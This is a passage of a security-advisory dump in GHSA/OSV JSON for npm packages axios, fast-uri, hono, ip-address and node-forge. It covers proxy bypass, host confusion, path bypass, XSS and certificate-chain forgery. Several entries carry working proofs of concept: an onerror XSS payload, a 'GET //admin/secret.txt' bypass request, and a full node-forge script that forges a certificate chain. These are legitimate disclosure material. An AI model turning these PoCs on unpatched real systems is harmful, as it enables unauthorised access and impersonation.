intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 \u2014 Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table \u2014 default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios\u0027s current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 \u2014 The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`\u0027localhost\u0027`, `\u0027::1\u0027`) \u2014 O(1)\n2. A `split(\u0027.\u0027)` and array validation \u2014 O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 \u2014 The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 \u2014 Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node\u0027s native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split(\u0027.\u0027)` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation \u2014 IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n\u00270:0:0:0:0:0:0:1\u0027 // Full notation of ::1\n\u0027::ffff:127.0.0.1\u0027 // IPv4-mapped IPv6 loopback\n\u0027::ffff:7f00:1\u0027 // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.",
"id": "GHSA-pmwg-cvhr-8vh7",
"modified": "2026-05-05T00:20:58Z",
"published": "2026-05-05T00:20:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}
GHSA-V39H-62P7-JPJC
Vulnerability from github – Published: 2026-05-08 19:13 – Updated: 2026-05-08 19:13Impact
fast-uri v3.1.1 and earlier decodes percent-encoded authority delimiters (%40 as @, %3A as :) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.
For example, http://trusted.com%40evil.com/ normalizes to http://trusted.com@evil.com/, which reparses as host evil.com with userinfo trusted.com.
Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.
Patches
Upgrade to fast-uri >= 3.1.2.
Workarounds
None. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.1"
},
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6322"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T19:13:01Z",
"nvd_published_at": "2026-05-05T11:16:33Z",
"severity": "HIGH"
},
"details": "### Impact\n\n`fast-uri` v3.1.1 and earlier decodes percent-encoded authority delimiters (`%40` as `@`, `%3A` as `:`) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.\n\nFor example, `http://trusted.com%40evil.com/` normalizes to `http://trusted.com@evil.com/`, which reparses as host `evil.com` with userinfo `trusted.com`.\n\nApplications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.\n\n### Patches\n\nUpgrade to `fast-uri` \u003e= 3.1.2.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
"id": "GHSA-v39h-62p7-jpjc",
"modified": "2026-05-08T19:13:01Z",
"published": "2026-05-08T19:13:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6322"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fast-uri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-uri vulnerable to host confusion via percent-encoded authority delimiters"
}
GHSA-WMMM-F939-6G9C
Vulnerability from github – Published: 2026-04-08 00:16 – Updated: 2026-04-08 15:34Summary
A path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path.
When route-based middleware (e.g., /admin/*) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass.
Details
The routing layer and serveStatic handle repeated slashes differently.
For example:
/admin/secret.txt => matches /admin/*
/admin//secret.txt => may not match /admin/*
However, serveStatic may interpret both paths as the same file location (e.g., admin/secret.txt) and return the file.
This inconsistency allows a request such as:
GET //admin/secret.txt
to bypass middleware registered on /admin/* and access protected files.
The issue has been fixed by rejecting paths that contain repeated slashes, ensuring consistent behavior between route matching and static file resolution.
Impact
An attacker can access static files that are intended to be protected by route-based middleware by using repeated slashes in the request path.
This can lead to unauthorized access to sensitive files under the static root.
This issue affects applications that rely on serveStatic together with route-based middleware for access control.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39407"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:16:45Z",
"nvd_published_at": "2026-04-08T15:16:14Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA path handling inconsistency in `serveStatic` allows protected static files to be accessed by using repeated slashes (`//`) in the request path.\n\nWhen route-based middleware (e.g., `/admin/*`) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass.\n\n## Details\n\nThe routing layer and `serveStatic` handle repeated slashes differently.\n\nFor example:\n\n```\n/admin/secret.txt =\u003e matches /admin/*\n/admin//secret.txt =\u003e may not match /admin/*\n```\n\nHowever, `serveStatic` may interpret both paths as the same file location (e.g., `admin/secret.txt`) and return the file.\n\nThis inconsistency allows a request such as:\n\n```\nGET //admin/secret.txt\n```\n\nto bypass middleware registered on `/admin/*` and access protected files.\n\nThe issue has been fixed by rejecting paths that contain repeated slashes, ensuring consistent behavior between route matching and static file resolution.\n\n## Impact\n\nAn attacker can access static files that are intended to be protected by route-based middleware by using repeated slashes in the request path.\n\nThis can lead to unauthorized access to sensitive files under the static root.\n\nThis issue affects applications that rely on serveStatic together with route-based middleware for access control.",
"id": "GHSA-wmmm-f939-6g9c",
"modified": "2026-04-08T15:34:30Z",
"published": "2026-04-08T00:16:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-wmmm-f939-6g9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39407"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/9aff14bd727f8b0435c963363fd803260e7b8e3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono: Middleware bypass via repeated slashes in serveStatic"
}
GHSA-V2V4-37R5-5V8G
Vulnerability from github – Published: 2026-05-05 21:50 – Updated: 2026-05-13 16:27Summary
Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. A related issue in v6.helpers.spanAll() produced malformed markup but was not exploitable; it is hardened in the same release for consistency.
Details
Four related issues were identified and fixed together:
Address6.group(): zone ID injection. TheAddress6constructor stores the raw input (including any IPv6 zone ID) inthis.addressbefore zone stripping.group()then passedthis.addresstohelpers.simpleGroup(), which wrapped each:-separated segment in a<span>element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.Address6.link({ prefix, className }): attribute-value injection.link()concatenated user-suppliedprefixandclassNameinto thehref="…"andclass="…"attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g.onmouseover) and achieve XSS.Address6constructor: leading-zero IPv4 error path. The leading-zero branch inparse4in6()builtAddressError.parseMessageby concatenating the raw address throughString.replace(). Becauseparse4in6()runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who renderparseMessageas HTML (its documented purpose — it already contains<span class="parse-error">markup) could be XSS'd by a crafted input such as<img src=x onerror=alert(1)>:10.0.01.1.v6.helpers.spanAll(): attribute-value injection (defense in depth).spanAll()embedded each character of its input into aclass="digit value-${n} …"attribute without escaping. Becausesplit('')limitsnto a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.
Affected Versions
All versions up to and including 10.1.0.
Patched Version
10.1.1.
Impact
Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of group(), link(), or spanAll(): these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (isValid, correctForm, isInSubnet, bigInt, etc.) are not affected.
Consumers who do render the output of group(), link(), spanAll(), or AddressError.parseMessage as HTML against untrusted input should upgrade.
PoC
const { Address6 } = require('ip-address');
const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>');
document.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0
Workarounds
If users cannot upgrade immediately:
- Do not pass untrusted input to the
Address6constructor, or - Never render the output of
group(),link(), orspanAll(), nor theparseMessagefield of any thrownAddressError, as HTML; treat these values as text only, or run them through DOMPurify before inserting into the DOM (DOMPurify's default configuration preserves the library's intended<span>wrapping while stripping any injected event handlers), or - Validate input with
Address6.isValid()and reject anything that contains a zone identifier (a%character) or characters outside[0-9a-fA-F:/]before passing it to the constructor.
Lack of separate CVEs
Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.
Credit
ip-address thanks @scovetta for reporting this issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.1.0"
},
"package": {
"ecosystem": "npm",
"name": "ip-address"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42338"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:50:58Z",
"nvd_published_at": "2026-05-12T20:16:41Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`Address6.group()` and `Address6.link()` do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and `AddressError.parseMessage` (emitted by the `Address6` constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to `Address6` and (2) renders the output of these methods, or the thrown error\u0027s `parseMessage`, as HTML (e.g. via `innerHTML`) is vulnerable to cross-site scripting. A related issue in `v6.helpers.spanAll()` produced malformed markup but was not exploitable; it is hardened in the same release for consistency.\n\n### Details\n\nFour related issues were identified and fixed together:\n\n1. **`Address6.group()`: zone ID injection.** The `Address6` constructor stores the raw input (including any IPv6 zone ID) in `this.address` before zone stripping. `group()` then passed `this.address` to `helpers.simpleGroup()`, which wrapped each `:`-separated segment in a `\u003cspan\u003e` element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.\n2. **`Address6.link({ prefix, className })`: attribute-value injection.** `link()` concatenated user-supplied `prefix` and `className` into the `href=\"\u2026\"` and `class=\"\u2026\"` attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. `onmouseover`) and achieve XSS.\n3. **`Address6` constructor: leading-zero IPv4 error path.** The leading-zero branch in `parse4in6()` built `AddressError.parseMessage` by concatenating the raw address through `String.replace()`. Because `parse4in6()` runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error\u0027s HTML unescaped. Consumers who render `parseMessage` as HTML (its documented purpose \u2014 it already contains `\u003cspan class=\"parse-error\"\u003e` markup) could be XSS\u0027d by a crafted input such as `\u003cimg src=x onerror=alert(1)\u003e:10.0.01.1`.\n4. **`v6.helpers.spanAll()`: attribute-value injection (defense in depth).** `spanAll()` embedded each character of its input into a `class=\"digit value-${n} \u2026\"` attribute without escaping. Because `split(\u0027\u0027)` limits `n` to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.\n\n### Affected Versions\n\nAll versions up to and including `10.1.0`.\n\n### Patched Version\n\n`10.1.1`.\n\n### Impact\n\nReal-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of `group()`, `link()`, or `spanAll()`: these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (`isValid`, `correctForm`, `isInSubnet`, `bigInt`, etc.) are not affected.\n\nConsumers who **do** render the output of `group()`, `link()`, `spanAll()`, or `AddressError.parseMessage` as HTML against untrusted input should upgrade.\n\n### PoC\n\n```javascript\nconst { Address6 } = require(\u0027ip-address\u0027);\nconst addr = new Address6(\u0027fe80::1%\u003cimg src=x onerror=alert(1)\u003e\u0027);\ndocument.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0\n```\n\n### Workarounds\n\nIf users cannot upgrade immediately:\n\n- Do not pass untrusted input to the `Address6` constructor, or\n- Never render the output of `group()`, `link()`, or `spanAll()`, nor the `parseMessage` field of any thrown `AddressError`, as HTML; treat these values as text only, or run them through [DOMPurify](https://github.com/cure53/DOMPurify) before inserting into the DOM (DOMPurify\u0027s default configuration preserves the library\u0027s intended `\u003cspan\u003e` wrapping while stripping any injected event handlers), or\n- Validate input with `Address6.isValid()` and reject anything that contains a zone identifier (a `%` character) or characters outside `[0-9a-fA-F:/]` before passing it to the constructor.\n\n### Lack of separate CVEs\n\nGiven the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it\u0027s relevant or useful to create a separate CVE for each library method.\n\n### Credit\n\nip-address thanks @scovetta for reporting this issue.",
"id": "GHSA-v2v4-37r5-5v8g",
"modified": "2026-05-13T16:27:24Z",
"published": "2026-05-05T21:50:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42338"
},
{
"type": "PACKAGE",
"url": "https://github.com/beaugunderson/ip-address"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ip-address has XSS in Address6 HTML-emitting methods"
}
GHSA-2328-F5F3-GJ25
Vulnerability from github – Published: 2026-03-26 22:05 – Updated: 2026-03-27 21:51Summary
pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.
Technical Details
In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:
- The
keyUsagecheck (which includes a sub-check requiringbasicConstraintsto be present) is gated onkeyUsageExt !== null - The
basicConstraints.cAcheck is gated onbcExt !== null
When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.
RFC 5280 Section 6.1.4 step (k) requires:
"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."
The absence of basicConstraints should result in rejection, not acceptance.
Proof of Concept
const forge = require('node-forge');
const pki = forge.pki;
function generateKeyPair() {
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [
{ name: 'commonName', value: 'Legitimate Root CA' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
{ name: 'basicConstraints', cA: true, critical: true },
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
// This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf
// This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [
{ name: 'commonName', value: 'victim.example.com' },
{ name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);
try {
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
console.log(' This violates RFC 5280 Section 6.1.4.');
} catch (e) {
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}
Results:
- Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280)
- Certificate with basicConstraints.cA=false: correctly rejected
- Certificate with keyUsage (no keyCertSign): correctly rejected
- Proper intermediate CA (control): correctly accepted
Attack Scenario
An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.
This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification
CVE Precedent
This is the same vulnerability class as: - CVE-2014-0092 (GnuTLS) — certificate verification bypass - CVE-2015-1793 (OpenSSL) — alternative chain verification bypass - CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance
Not a Duplicate
This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation)
Suggested Fix
Add an explicit check for absent basicConstraints on non-leaf certificates:
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
error = {
message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
error: pki.certificateError.bad_certificate
};
}
Disclosure Timeline
- 2026-03-10: Report submitted via GitHub Security Advisory
- 2026-06-08: 90-day coordinated disclosure deadline
Credits
Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.3"
},
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33896"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:05:43Z",
"nvd_published_at": "2026-03-27T21:17:26Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require(\u0027node-forge\u0027);\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log(\u0027=== node-forge basicConstraints Bypass PoC ===\\n\u0027);\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = \u002701\u0027;\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n { name: \u0027commonName\u0027, value: \u0027Legitimate Root CA\u0027 },\n { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n { name: \u0027basicConstraints\u0027, cA: true, critical: true },\n { name: \u0027keyUsage\u0027, keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root \u2014 NO basicConstraints, NO keyUsage\n// This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = \u002702\u0027;\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n { name: \u0027commonName\u0027, value: \u0027Non-CA Leaf Certificate\u0027 },\n { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension \u2014 NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n// This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = \u002703\u0027;\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n { name: \u0027commonName\u0027, value: \u0027victim.example.com\u0027 },\n { name: \u0027organizationName\u0027, value: \u0027Victim Corp\u0027 }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n console.log(\u0027[VULNERABLE] Chain verification SUCCEEDED: \u0027 + result);\n console.log(\u0027 node-forge accepted a non-CA certificate as an intermediate CA!\u0027);\n console.log(\u0027 This violates RFC 5280 Section 6.1.4.\u0027);\n} catch (e) {\n console.log(\u0027[SECURE] Chain verification FAILED (expected): \u0027 + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable \u2014 violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge\u0027s `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) \u2014 certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) \u2014 alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) \u2014 crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization \u2014 different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow \u2014 different issue class)\n- GitHub issue #1049 (null subject/issuer \u2014 different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n error = {\n message: \u0027Certificate is missing basicConstraints extension and cannot be used as a CA.\u0027,\n error: pki.certificateError.bad_certificate\n };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) \u2014 [doruk.ch](https://doruk.ch)",
"id": "GHSA-2328-f5f3-gj25",
"modified": "2026-03-27T21:51:17Z",
"published": "2026-03-26T22:05:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33896"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
}
],
"schema_version": "1.4.0",
"severity": [
{
